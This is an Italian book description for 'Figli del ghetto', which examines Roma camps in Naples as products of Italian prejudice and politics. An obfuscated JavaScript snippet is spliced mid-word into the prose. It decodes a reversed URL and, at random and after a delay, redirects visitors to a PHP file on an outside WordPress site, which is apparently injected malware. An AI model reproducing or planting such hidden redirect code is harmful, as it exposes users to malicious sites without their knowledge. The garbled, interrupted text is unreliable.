Figli del ghetto

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L’oggetto di questo libro è l’interazione degli italiani con i rom, focalizz (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando l’uso strumentale di questa e altre etichette ‘etniche’. Come nota l’autore ‘i campi li facciamo noi, i nostri architetti, ingegneri, geometri e sono una rappresentazione architettonica di come noi vediamo loro, gli zingari’. Attraverso il racconto di quattro episodi accaduti a Napoli nel 2000, il libro offre una prospettiva diversa sul problema dei campi rom, in questo caso ‘contenitori isolati e isolanti’ che sono frutto della nostra visione del mondo, proiezione tangibile e concreta dei nostri pregiudizi, funzionali a esigenze politiche, sociali ed economiche che ben poco hanno a che vedere con quelle delle persone che ospitano, molto di più con quelle di chi le gestisce.

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